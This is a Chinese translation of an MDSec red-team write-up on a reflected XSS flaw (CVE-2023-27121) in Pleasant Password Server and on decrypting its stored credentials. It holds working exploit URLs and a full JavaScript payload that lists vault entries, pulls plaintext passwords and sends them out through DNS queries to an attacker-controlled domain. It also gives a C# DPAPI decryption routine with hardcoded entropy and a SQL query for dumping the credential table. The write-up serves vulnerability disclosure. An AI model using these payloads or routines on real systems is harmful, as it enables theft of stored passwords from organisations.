在近期的一次安全模拟测试任务中,MDSec ActiveBreach红队研究人员需要对目标组织所采用的密码管理器解决方案的安全性进行审计和测试,其关键目标是入侵并获取存储的凭证信息。
为此,研究人员对该组织所采用的密码管理解决方案(Pleasant Password Server)进行了详细分析,并成功从中发现了一个反射型跨站脚本漏洞,即CVE-2023-27121,而该漏洞将导致存储的密码发生泄漏。
在对其门户网站进行了简单浏览并分析相关HTTP请求之后,我们在日志中发现了一个有趣的节点:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=<cron expression>
这个节点可以将cron表达式转换为人类可读的字符串,最重要的是,cronString参数中的内容似乎没有经过足够的过滤清洗(只允许cron表达式中预期的特定字符),并且响应信息会直接返回给发起请求的用户。
除此之外,我们甚至可以在未经过身份验证的情况下访问该节点,这样就可以允许我们检测易受攻击的实例了。
在下面的XSS PoC例子中,我们将验证该漏洞的有效性,并将任意JavaScript代码注入到应用程序的响应中,从而控制浏览器打开“打印”对话框:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=print()%3E+*+SAT+*
验证该漏洞之后,我们便尝试利用该漏洞来从目标服务器中提取凭证数据。根据我们的分析,在利用该漏洞并制作Payload之前,我们还会受到一下限制:
1、我们不能在最终的Payload中使用空格或引号,否则无法满足cron表达式的预期格式;
2、我们的Payload空间有限,完整的URL需要保持在2100个字符以内;
3、由于内容安全策略(CSP)的限制,我们无法获取外部JS资源;
4、不支持跨域资源共享(CORS);
在得知上述信息之后,我们创建了如下所示的测试Payload:
var H='HTTPS://',U=H+'LOCALHOST:10001/WEBCLIENT/',M='MAIN/',C='CREDENTIAL',E = new TextEncoder(),Y = () => E.encode('T'),Q = (B) => new Uint8Array(E.encode(unescape(encodeURIComponent(B)))),T = (B) => Array.from(Q(B).map((C, I) => C ^ Y()[I % Y().length]), V => `0${(V & 0xFF).toString(16)}`.slice(-2)).join(''); fetch(U + M + 'GETTREE').then(R => R.json().then(F => F.forEach(F => fetch(U+C+'LISTGRID/SELECT?'+C+'GROUPID='+F.id,{method:'POST'}).then((R)=>{return R.json()}).then((D)=>{D['Data'].forEach(L=K=>fetch(U+M+'COPYPASSWORDPOPUP?'+C+'ID='+K.Id).then((R)=>{return R.json()}).then((D)=>{fetch(H+T(K.Username)+"."+T(D.response)+'.1EAK.NET')}))}))));
这个Payload将会执行下列操作:
1、通过向/WEBCLIENT/MAIN/GETTREE节点发送一个GET请求来枚举“root”文件夹的ID;
2、向/WEBCLIENT/CREDENTIALLISTGRID/SELECT?CREDENTIALGROUPID=<ID>发送一个POST请求,以JSON数组的形式获取“root”文件夹中所有的用户名以及对应的密码;
3、拿到所有的用户名和对应的密码之后,向/WEBCLIENT/MAIN/COPYPASSWORDPOPUP?CREDENTIALID=<ID>发送一个GET请求,并获取明文凭证;
4、使用给定的密钥对用户名和密码进行XOR编码;
5、对结果值进行Hex编码(安全传输起见);
6、向攻击者控制的域名发送GET请求,请求虽然会失败,但DNS查询中会包含编码后的凭证数据;
考虑到字符限制,我们对Payload进行了字符编码以便在运行时通过eval(StringfromCharCode())来恢复原始数据。下面给出的是修改后的PoC:
https://127.0.0.1:10001/framework/cron/action/humanize?cronString=0+0+1+/%3Csvg%0Conload=eval(StringfromCharCode(<CHAR PAYLOAD>))%3E+*+SAT+*
生成的XSS Payload如下:
准备好特制的URL之后,我们就可以将其发送给目标设备了,下面的例子我们将在实验环境中演示:
我们可以看到,编码后的凭证数据以DNS查询的形式记录在了我们的nameserver中:
最后,我们就可以解码泄漏的凭证并拿到明文凭证了:
从身份验证的角度来看,我们打算看看如果运行服务的主机受到攻击的话,提取凭证的难度到底有多大。
针对敏感数据的存储,Pleasant Password Server支持使用下列数据库:
1、SQLite
2、MSSQL
3、PostgreSQL
对已安装的解决方案进行了简单分析之后,我们发现了存储在注册表中的后端数据库连接字符串(尽管该字符串已加密):
HKLM\SOFTWARE\Pleasant Solutions\PasswordManager\DatabaseConnectionString
进一步分析后,我们在下列位置发现了与解密连接字符串相关的逻辑:
DLL:C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\PassMan.Configuration.dll
命名空间:PassMan.Configuration
类:DbConfigurationStore
方法:MigrateRegistryConnectionString
这样一来,我们就知道了连接字符串使用的是数据保护API(DPAPI)进行加密的,并使用了额外的熵,然后在Constants类中进行硬编码:
这样一来,通过系统访问,我们将能够在目标主机上作为管理员用户来运行一个简单的解密程序来检索明文连接字符串:
static string DecryptRegKey(string encryptedConnectionString) { byte[] additionalEntropy = { 0x9D, 0x38, 0x4A, 0xB6, 0x2D, 0x0E, 0x4E, 0x2F, 0x5A, 0x66, 0x44, 0x7B, 0x7A, 0x3E, 0x30, 0x69 }; try { return Encoding.ASCII.GetString(ProtectedData.Unprotect(Convert.FromBase64String(encryptedConnectionString), additionalEntropy, DataProtectionScope.LocalMachine)); } catch (Exception ex) { Console.WriteLine("[X] Something went wrong: " + ex); Console.WriteLine("[X] Has AdditionalEntropy changed? Check PassMan.Configuration.dll Constants..."); return null; } }
有了这个连接字符串,我们就可以连接到后端数据库了。以下示例用于枚举MSSQL部署中的凭据集合:
SELECT Name,Username,Password FROM dbo.CredentialObject;
不出所料,Password字段中的所有值都是加密的。
深入分析后,我们发现了一个硬编码的字符串,它是所有加密程序(类)所使用的密钥:
DLL:C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll
命名空间:Pleasant.Security
类:Obfuscation
除此之外,我们还识别出了负责处理数据库存储密码加密/解密的函数方法:
DLL: C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll
命名空间:Pleasant.Security
类:Encryption
收集到所有必要的信息之后,我们就可以实现下列操作了:
1、识别并连接到后端数据库;
2、提取所有的用户名和密码;
3、根据识别的逻辑解密密码;
https://www.mdsec.co.uk/2023/09/the-not-so-pleasant-password-manager/